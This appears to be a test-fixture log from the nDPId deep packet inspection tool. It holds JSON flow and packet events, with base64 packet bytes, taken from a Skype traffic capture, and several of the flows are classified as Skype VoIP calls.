+00444{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1242,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":496537,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/mMEAAEARl0\/AqAEinTfrmzLdnEMAK8StnJ4Ceg13qBmaNbQ5r3u++QJg+\/7hY4I5I2kK1W2d7qoWGw0="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1242,"source":"skype.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00461{"flow_id":208,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":587823,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOYSNAAEAGjmbAqAEi1cezjsOfAbt1SdzkHtgDwIAYECwLBgAAAQEICj4jSq1QDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00505{"flow_id":209,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":597995,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABr1T9AAEAGGq\/AqAEinTfrnMOgAbv31LYXE02AWoAYECxzMwAAAQEICj4jSrdMWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00457{"flow_id":176,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1245,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":647552,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLdPMAAEARgjvAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00458{"flow_id":175,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1246,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":647680,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLeBAAAEARfx7AqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00470{"flow_id":207,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1247,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":851311,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUpjRAAEAGssDAqAEinTeCrcOeAbsMd48zg+uInYAYECyOkQAAAQEICj4jS7ROp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00437{"flow_id":204,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":64678,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GGxAAEAGQJ7AqAEinTeCsMOdnFaE5idx8gQMboAYECnu+wAAAQEICj4jTIlOpRO7eWBA9+mp+gg="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1250,"source":"skype.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1431969692087,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50081,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1250,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":87049,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWFBAAEAGALbAqAEinTeCsMOhAbuvVQecAAAAALAC\/\/9OOgAAAgQFtAEDAwUBAQgKPiNMnwAAAAAEAgAA"} +00461{"flow_id":208,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1251,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":135050,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABO+BNAAEAG93XAqAEi1cezjsOfAbt1SdzkHtgDwIAYECwI5AAAAQEICj4jTM9QDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00504{"flow_id":209,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1252,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":150204,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrU7xAAEAGnDLAqAEinTfrnMOgAbv31LYXE02AWoAYECxxDAAAAQEICj4jTN5MWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00437{"flow_id":213,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":210455,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYgqdN4KwwKgBIgG7w6FI4LuBr1UHnaASOJC+bQAAAgQFrAQCCApOpRUtPiNMnwEDAwk="} +00425{"flow_id":213,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1254,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":210577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0dU1AAEAG48TAqAEinTeCsMOhAbuvVQedSOC7goAQECwVHQAAAQEICj4jTRpOpRUt"} +00524{"flow_id":213,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1255,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":210691,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8ZL9AAEAG9ArAqAEinTeCsMOhAbuvVQedSOC7goAYECwH1AAAAQEICj4jTRpOpRUtgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAdqpMoeVZPtJXCywBx7gcM"} +00425{"flow_id":213,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1257,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":334688,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rslAADcGs0idN4KwwKgBIgG7w6FI4LuCr1UH5YAQAB0kxQAAAQEICk6lFUw+I00a"} +00508{"flow_id":213,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":334751,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuyYFAAEAGj1bAqAEinTeCsMOhAbuvVQflSOC7goAYECwpBQAAAQEICj4jTZZOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00439{"flow_id":199,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":458370,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8F3hAAEAG2CPAqAEi1cezjsObnEM6Aj4iHrKtfIAYECoj4AAAAQEICj4jThFQDL\/hxH9LQ46+GKw="} +00438{"flow_id":134,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":474566,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87cNAAEAGa13AqAEinTeCmcOGnEV7WksM7xM3SYAZECjwPwAAAQEICj4jTiFOtNyvZO1SW4ugTYc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1261,"source":"skype.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1431969692507,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1261,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":507482,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAlm8AAEARZQTAqAEib91NkjLdgQkALPOBnKACf9Ciuj22pCihR6NIjTKXTxwVlkuMzvocVlIJl4RJ8z3V"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1261,"source":"skype.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1431969692507,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00439{"flow_id":198,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1262,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":543720,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/u5AAEAGWh7AqAEinTeCrcOanEPZ9QBBKvQZMIAYECpUPQAAAQEICj4jTmZOp72xFzP0mFIZu5U="} +00470{"flow_id":207,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":684875,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUG0JAAEAGPbPAqAEinTeCrcOeAbsMd48zg+uInYAYECyLUwAAAQEICj4jTvJOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00508{"flow_id":213,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":847150,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuNqxAAEAGIizAqAEinTeCsMOhAbuvVQflSOC7goAYECwnCAAAAQEICj4jT5NOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00496{"flow_id":167,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969692,"pkt_ts_usec":930450,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnuqFAAEAGneHAqAEiQTffDMOSAbvQogDzbPVBKoAYECzjiQAAAQEICj4jT+ZNoe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00460{"flow_id":208,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":31818,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOVnlAAEAGmRDAqAEi1cezjsOfAbt1SdzkHtgDwIAYECwFaAAAAQEICj4jUEtQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00503{"flow_id":209,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1269,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":56071,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABryVBAAEAGJp7AqAEinTfrnMOgAbv31LYXE02AWoAYECxthwAAAQEICj4jUGNMWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00439{"flow_id":200,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":124249,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/IlAAEAG85PAqAEinTfrnMOcnE7UANd2M6a2f4AYECkt6gAAAQEICj4jUKdMWRmSrtaWXBVsqR0="} +00461{"flow_id":150,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":366611,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPOXIAAEARvbjAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00461{"flow_id":149,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":366738,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPap8AAEARjIvAqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00438{"flow_id":204,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":499405,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA85kFAAEAGcsjAqAEinTeCsMOdnFaE5idx8gQMboAYECnpZgAAAQEICj4jUh5OpRO7eWBA9+mp+gg="} +00508{"flow_id":213,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969693,"pkt_ts_usec":665492,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuZSpAAEAG863AqAEinTeCsMOhAbuvVQflSOC7goAYECwj2AAAAQEICj4jUsNOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00477{"flow_id":142,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":24436,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWFO5AAEAGRBnAqAEinTeCmcOJAbvJCUV1l+7ieIAZECx\/LgAAAQEICj4jVChOtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00470{"flow_id":207,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1277,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":151615,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUabxAAEAG7zjAqAEinTeCrcOeAbsMd48zg+uInYAYECyFngAAAQEICj4jVKdOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00485{"flow_id":142,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1278,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":153109,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PBXCt3IO0NQSxnP1CABFAABdPEBAADcGJcCdN4KZwKgBIgG7w4mX7uLHyQlFmIAZAB1SIAAAAQEICk608Kc+I1Qoab8qunvrdzUzZ7P3fP\/Li75TLCJWJedutTr4YmIsCXASJeMEQixaTpg="} +00410{"flow_id":142,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1279,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":153200,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAooNdAAEAGuF3AqAEinTeCmcOJAbvJCUWYAAAAAFAEAAD6XgAA"} +00438{"flow_id":168,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1280,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":222803,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA838JAAEAGw1fAqAEinTc4oMOTnFuhu65apKDDzIAYECrtAgAAAQEICj4jVO1NfpJmzRAJJHd6CMc="} +00426{"flow_id":135,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":286901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA03cxAADYG6yBv3UovwKgBIpxew4ef2YMNtJoFWoARAB25AwAAAQEICk2Fct0+IwZ9"} +00501{"flow_id":153,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":385428,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABqHyxAAEAGn5TAqAEib91KJsOPAbu0bGIyDtZB8IAZECwkXwAAAQEICj4jVY9Nf6U4DpQ6T7GhI\/HZuALGyyd6FuE62cjswcclHGXEXQQQrFo1hEMiHK+aF1hYQEgpCBKH6FPKIRys"} +00439{"flow_id":177,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":515626,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KpxAAEAGLnTAqAEinTeCqsOWnFJsNFXh7fFHoYAYECrfCwAAAQEICj4jVhFOqgg\/dBFKHGWgP00="} +00428{"flow_id":161,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":528319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0w0BAAEAGlXXAqAEiQTffDMORnF\/vfD9sP0r\/xIARECnnAQAAAQEICj4jVh1Noe23"} +00426{"flow_id":167,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":528319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0TzhAAEAGCX7AqAEiQTffDMOSAbvQogEmbPVBKoARECxuIAAAAQEICj4jVh1Noe9J"} +00463{"flow_id":208,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1286,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":622813,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOJalAAEAGyeDAqAEi1cezjsOfAbt1SdzkHtgDwIAYECz\/NwAAAQEICj4jVntQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00538{"flow_id":153,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1287,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":645784,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD5M1AADcG4tlv3UomwKgBIgG7w48O1kHwtGxiMoAYAB3hZwAAAQEICk1\/tcg+IxODFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00410{"flow_id":153,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1288,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":645902,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoQblAAEAGfUnAqAEib91KJsOPAbu0bGIyAAAAAFAEAABYKQAA"} +00505{"flow_id":209,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":663666,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrGmVAAEAG1YnAqAEinTfrnMOgAbv31LYXE02AWoAYECxnRwAAAQEICj4jVqNMWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} 